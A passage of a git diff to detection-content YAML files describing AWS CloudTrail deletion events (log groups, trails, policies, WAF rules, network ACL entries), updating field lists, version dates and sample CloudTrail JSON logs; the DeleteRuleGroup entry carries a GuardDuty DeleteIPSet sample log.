responseElements + - responseElements.__type + - responseElements.changeToken + - responseElements.message + - result + - result_id + - signature + - source + - sourceIPAddress + - sourcetype + - splunk_server + - src + - src_ip + - src_user + - start_time + - tag + - tag::eventtype + - timeendpos + - timestartpos + - tlsDetails.cipherSuite + - tlsDetails.clientProvidedHostHeader + - tlsDetails.tlsVersion + - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type + - userAgent + - userIdentity.accessKeyId + - userIdentity.accountId + - userIdentity.arn + - userIdentity.principalId + - userIdentity.type + - userIdentity.userName + - userName + - vendor + - vendor_account + - vendor_product + - vendor_region +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-26T23:14:57Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteIPSet", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/guardduty.delete-ip-set", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "11111", "ipSetId": "1111"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "70d36916-4ce7-4b6e-9226-9da47d58d554", "eventID": "884dc529-d98f-4529-bfa1-8cdd6c06d02f", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_deleteloggroup.yml b/data_sources/aws_cloudtrail_deleteloggroup.yml index 32a576295d..1ff66d84c1 100644 --- a/data_sources/aws_cloudtrail_deleteloggroup.yml +++ b/data_sources/aws_cloudtrail_deleteloggroup.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteLogGroup id: 60cf6a69-fa43-4a6c-8808-e9fb46bf387f -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a CloudWatch log group, including details about the log group name and associated resources. mitre_components: @@ -22,8 +22,9 @@ fields: - _time - apiVersion - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -42,8 +43,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -65,6 +66,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -74,6 +76,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -82,13 +90,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -101,4 +102,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-19T08:58:48Z", "eventSource": "logs.amazonaws.com", "eventName": "DeleteLogGroup", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/logs.delete-log-group", "requestParameters": {"logGroupName": "test-logs"}, "responseElements": null, "requestID": "76089b03-d749-4f83-bc0e-b857c83bba5f", "eventID": "5aba96c4-e7f9-4e4f-b5e6-49694162195d", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "20140328", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "logs.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-19T08:58:48Z", "eventSource": "logs.amazonaws.com", "eventName": "DeleteLogGroup", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/logs.delete-log-group", "requestParameters": {"logGroupName": "test-logs"}, "responseElements": null, "requestID": "76089b03-d749-4f83-bc0e-b857c83bba5f", "eventID": "5aba96c4-e7f9-4e4f-b5e6-49694162195d", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "20140328", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "logs.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deletelogstream.yml b/data_sources/aws_cloudtrail_deletelogstream.yml index fb8e5147f6..ecdbd96ab2 100644 --- a/data_sources/aws_cloudtrail_deletelogstream.yml +++ b/data_sources/aws_cloudtrail_deletelogstream.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteLogStream id: 6f8bb808-89f8-465e-a34d-229df2f46402 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a log stream within a CloudWatch log group, including details about the stream name and associated log group. mitre_components: @@ -22,8 +22,9 @@ fields: - _time - apiVersion - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -42,8 +43,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -66,6 +67,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -75,6 +77,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -83,13 +91,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -102,4 +103,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:09:51Z", "eventSource": "logs.amazonaws.com", "eventName": "DeleteLogStream", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/logs.delete-log-stream", "requestParameters": {"logGroupName": "test-logs", "logStreamName": "20150601"}, "responseElements": null, "requestID": "2d7e859e-d697-426f-8b56-c4c11c4055f3", "eventID": "561c3f4e-17ca-4438-b15d-29903baf7b13", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "20140328", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "logs.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:09:51Z", "eventSource": "logs.amazonaws.com", "eventName": "DeleteLogStream", "awsRegion": "us-west-2", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/logs.delete-log-stream", "requestParameters": {"logGroupName": "test-logs", "logStreamName": "20150601"}, "responseElements": null, "requestID": "2d7e859e-d697-426f-8b56-c4c11c4055f3", "eventID": "561c3f4e-17ca-4438-b15d-29903baf7b13", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "20140328", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "logs.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deletenetworkaclentry.yml b/data_sources/aws_cloudtrail_deletenetworkaclentry.yml index 26b3ce7198..8d19201718 100644 --- a/data_sources/aws_cloudtrail_deletenetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_deletenetworkaclentry.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteNetworkAclEntry id: a0dd0f10-cc03-425d-bd5a-e1e0d954b856 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a network ACL entry in AWS, including details about the rule number and associated network ACL. mitre_components: @@ -21,18 +21,11 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - dest - direction - dvc - errorCode @@ -42,14 +35,17 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category + - object_id - product - punct - readOnly @@ -72,9 +68,13 @@ fields: - status - tag - tag::eventtype - - timeendpos - - timestartpos - - user + - timestamp + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -89,13 +89,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -108,4 +101,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T09:26:26Z", "eventSource": "ec2.amazonaws.com", "eventName": "DeleteNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 40, "egress": false}, "responseElements": {"requestId": "607474bb-836b-46be-be4a-351ebbef67d6", "_return": true}, "requestID": "607474bb-836b-46be-be4a-351ebbef67d6", "eventID": "b9e05770-e9b0-4ba1-91e8-6537097e06e7", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:38:45Z", "eventSource": "ec2.amazonaws.com", "eventName": "DeleteNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 10, "egress": false}, "responseElements": {"requestId": "a8933bc1-84bd-4136-b454-231eae791332", "_return": true}, "requestID": "a8933bc1-84bd-4136-b454-231eae791332", "eventID": "5e704453-b06d-4c6d-bbee-ba7b6f7307e9", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_deletepolicy.yml b/data_sources/aws_cloudtrail_deletepolicy.yml index f5c3a384fe..b9003af081 100644 --- a/data_sources/aws_cloudtrail_deletepolicy.yml +++ b/data_sources/aws_cloudtrail_deletepolicy.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeletePolicy id: d190d23a-2c59-4a0e-9c55-a53ebef28ee5 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an IAM policy in AWS, including details about the policy name and its associated roles or users. mitre_components: @@ -20,18 +20,11 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - desc - dest - dvc - errorCode @@ -42,8 +35,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -57,6 +50,7 @@ fields: - recipientAccountId - region - requestID + - requestParameters - requestParameters.policyArn - responseElements - result @@ -68,28 +62,34 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -102,4 +102,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::151521547504:user/bhavin_cli", "accountId": "151521547504", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-04-02T18:01:00Z", "eventSource": "iam.amazonaws.com", "eventName": "DeletePolicy", "awsRegion": "us-east-1", "sourceIPAddress": "61.25.42.212", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/iam.delete-policy", "errorCode": "NoSuchEntityException", "errorMessage": "Policy arn:aws:iam::151521547504:policy/AtomicRedTeam was not found.", "requestParameters": {"policyArn": "arn:aws:iam::151521547504:policy/AtomicRedTeam"}, "responseElements": null, "requestID": "90cbe52f-e744-4bba-9f5c-1843c9ca1855", "eventID": "abd071bf-0a38-4fab-af4a-5eee55f0935e", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "151521547504"}' +example_log: | + {"eventVersion": "1.05", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::151521547504:user/bhavin_cli", "accountId": "151521547504", "accessKeyId": "AKIAYTOGP2RLG53UIYWY", "userName": "bhavin_cli"}, "eventTime": "2020-08-05T20:29:10Z", "eventSource": "iam.amazonaws.com", "eventName": "DeletePolicy", "awsRegion": "us-east-1", "sourceIPAddress": "61.25.42.212", "userAgent": "aws-sdk-go/1.32.12 (go1.13.7; darwin; amd64) APN/1.0 HashiCorp/1.0 Terraform/0.12.12 (+https://www.terraform.io)", "requestParameters": {"policyArn": "arn:aws:iam::151521547504:policy/default/codecommit-policy-default"}, "responseElements": null, "requestID": "588a73f2-b3d9-4a4c-af35-d7f308282ef2", "eventID": "9c172c7c-6da8-463b-a576-61c67c19fee3", "eventType": "AwsApiCall", "recipientAccountId": "151521547504"} diff --git a/data_sources/aws_cloudtrail_deleterule.yml b/data_sources/aws_cloudtrail_deleterule.yml index 95f67eb714..13e44c0bdf 100644 --- a/data_sources/aws_cloudtrail_deleterule.yml +++ b/data_sources/aws_cloudtrail_deleterule.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteRule id: b5760623-f3ca-492d-a372-d5c2b3567dfc -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an event rule in AWS EventBridge, including details about the rule name and its associated targets or schedules. mitre_components: @@ -22,8 +22,8 @@ fields: - _time - apiVersion - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -36,14 +36,15 @@ fields: - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -53,12 +54,16 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.changeToken - requestParameters.ruleId + - responseElements - responseElements.changeToken + - result + - result_id - signature - source - sourceIPAddress @@ -66,6 +71,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -75,6 +81,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -83,13 +95,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -102,4 +107,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:40:42Z", "eventSource": "waf.amazonaws.com", "eventName": "DeleteRule", "awsRegion": "us-east-1", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/waf.delete-rule", "requestParameters": {"changeToken": "c5daf4cb-68e1-425f-b52d-49a32a7f187f", "ruleId": "5a9b1c4a-a999-4bb2-9f51-555f086ff34f"}, "responseElements": {"changeToken": "c5daf4cb-68e1-425f-b52d-49a32a7f187f"}, "requestID": "2089be3e-28ea-4349-b505-db72c81c272a", "eventID": "0f815483-f6bb-42d9-b870-0dcc64ddc9a4", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "2015-08-24", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "waf.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLI4PXTGCEU", "arn": "arn:aws:iam::111111111111:user/gowthamaraj_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLFLKADUVG", "userName": "gowthamaraj_cli"}, "eventTime": "2022-07-20T21:40:42Z", "eventSource": "waf.amazonaws.com", "eventName": "DeleteRule", "awsRegion": "us-east-1", "sourceIPAddress": "67.171.71.185", "userAgent": "aws-cli/2.7.3 Python/3.9.13 Darwin/21.5.0 source/x86_64 prompt/off command/waf.delete-rule", "requestParameters": {"changeToken": "c5daf4cb-68e1-425f-b52d-49a32a7f187f", "ruleId": "5a9b1c4a-a999-4bb2-9f51-555f086ff34f"}, "responseElements": {"changeToken": "c5daf4cb-68e1-425f-b52d-49a32a7f187f"}, "requestID": "2089be3e-28ea-4349-b505-db72c81c272a", "eventID": "0f815483-f6bb-42d9-b870-0dcc64ddc9a4", "readOnly": false, "eventType": "AwsApiCall", "apiVersion": "2015-08-24", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "waf.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deleterulegroup.yml b/data_sources/aws_cloudtrail_deleterulegroup.yml index 888baf1d85..ec0b5931ce 100644 --- a/data_sources/aws_cloudtrail_deleterulegroup.yml +++ b/data_sources/aws_cloudtrail_deleterulegroup.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteRuleGroup id: 21c9b538-fa11-4bdf-9138-0dfe06b4d730 -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for AWS CloudTrail DeleteRuleGroup source: aws_cloudtrail @@ -14,4 +14,92 @@ supported_TA: version: 8.2.2 fields: - _time -example_log: '' + - apiVersion + - app + - aws_account_id + - awsRegion + - change_type + - command + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dvc + - errorCode + - errorMessage + - eventCategory + - eventID + - eventName + - eventSource + - eventTime + - eventType + - eventtype + - eventVersion + - host + - index + - linecount + - managementEvent + - msg + - object_category + - product + - punct + - readOnly + - reason + - recipientAccountId + - region + - requestID + - requestParameters.changeToken + - requestParameters.detectorId + - requestParameters.ipSetId + - requestParameters.logGroupName + - requestParameters.logStreamName + - requestParameters.ruleId + - requestParameters.webACLId + - responseElements + - responseElements.__type + - responseElements.changeToken + - responseElements.message + - result + - result_id + - signature + - source + - sourceIPAddress + - sourcetype + - splunk_server + - src + - src_ip + - src_user + - start_time + - tag + - tag::eventtype + - timeendpos + - timestartpos + - tlsDetails.cipherSuite + - tlsDetails.clientProvidedHostHeader + - tlsDetails.tlsVersion + - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type + - userAgent + - userIdentity.accessKeyId + - userIdentity.accountId + - userIdentity.arn + - userIdentity.principalId + - userIdentity.type + - userIdentity.userName + - userName + - vendor + - vendor_account + - vendor_product + - vendor_region +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-26T23:14:57Z", "eventSource": "guardduty.amazonaws.com", "eventName": "DeleteIPSet", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/guardduty.delete-ip-set", "errorCode": "BadRequestException", "requestParameters": {"detectorId": "11111", "ipSetId": "1111"}, "responseElements": {"message": "The request is rejected because the parameter detectorId has an invalid value.", "__type": "InvalidInputException"}, "requestID": "70d36916-4ce7-4b6e-9226-9da47d58d554", "eventID": "884dc529-d98f-4529-bfa1-8cdd6c06d02f", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_deletetrail.yml b/data_sources/aws_cloudtrail_deletetrail.yml index 2a0af88997..4c201dc7e2 100644 --- a/data_sources/aws_cloudtrail_deletetrail.yml +++ b/data_sources/aws_cloudtrail_deletetrail.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteTrail id: a5af09ff-07b6-4df6-92a0-2146bfe402c8 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an AWS CloudTrail trail, including details about the trail name and its associated logging configurations. mitre_components: @@ -21,8 +21,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -41,8 +41,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -64,6 +64,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -73,6 +74,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -81,13 +88,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -100,4 +100,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-13T19:03:51Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "DeleteTrail", "awsRegion": "us-west-2", "sourceIPAddress": "192.184.242.57", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/cloudtrail.delete-trail", "requestParameters": {"name": "redatomictesttrail"}, "responseElements": null, "requestID": "2ba0af54-1451-4a2c-846e-18436bcee01e", "eventID": "1c53bcce-650d-486a-b3f6-f64fd853e509", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-13T19:03:51Z", "eventSource": "cloudtrail.amazonaws.com", "eventName": "DeleteTrail", "awsRegion": "us-west-2", "sourceIPAddress": "192.184.242.57", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/21.5.0 source/x86_64 command/cloudtrail.delete-trail", "requestParameters": {"name": "redatomictesttrail"}, "responseElements": null, "requestID": "2ba0af54-1451-4a2c-846e-18436bcee01e", "eventID": "1c53bcce-650d-486a-b3f6-f64fd853e509", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "cloudtrail.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_deletewebacl.yml b/data_sources/aws_cloudtrail_deletewebacl.yml index 3d389b31f6..f60099f6bc 100644 --- a/data_sources/aws_cloudtrail_deletewebacl.yml +++ b/data_sources/aws_cloudtrail_deletewebacl.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail DeleteWebACL id: 90da5f08-7961-4c29-8de8-01364982aadf -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a Web Access Control List (WebACL) is deleted in AWS CloudTrail. mitre_components: @@ -20,8 +20,8 @@ fields: - _time - apiVersion - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -34,14 +34,15 @@ fields: - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -51,12 +52,16 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.changeToken - requestParameters.webACLId + - responseElements - responseElements.changeToken + - result + - result_id - signature - source - sourceIPAddress @@ -64,6 +69,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype @@ -73,6 +79,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -81,13 +93,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn 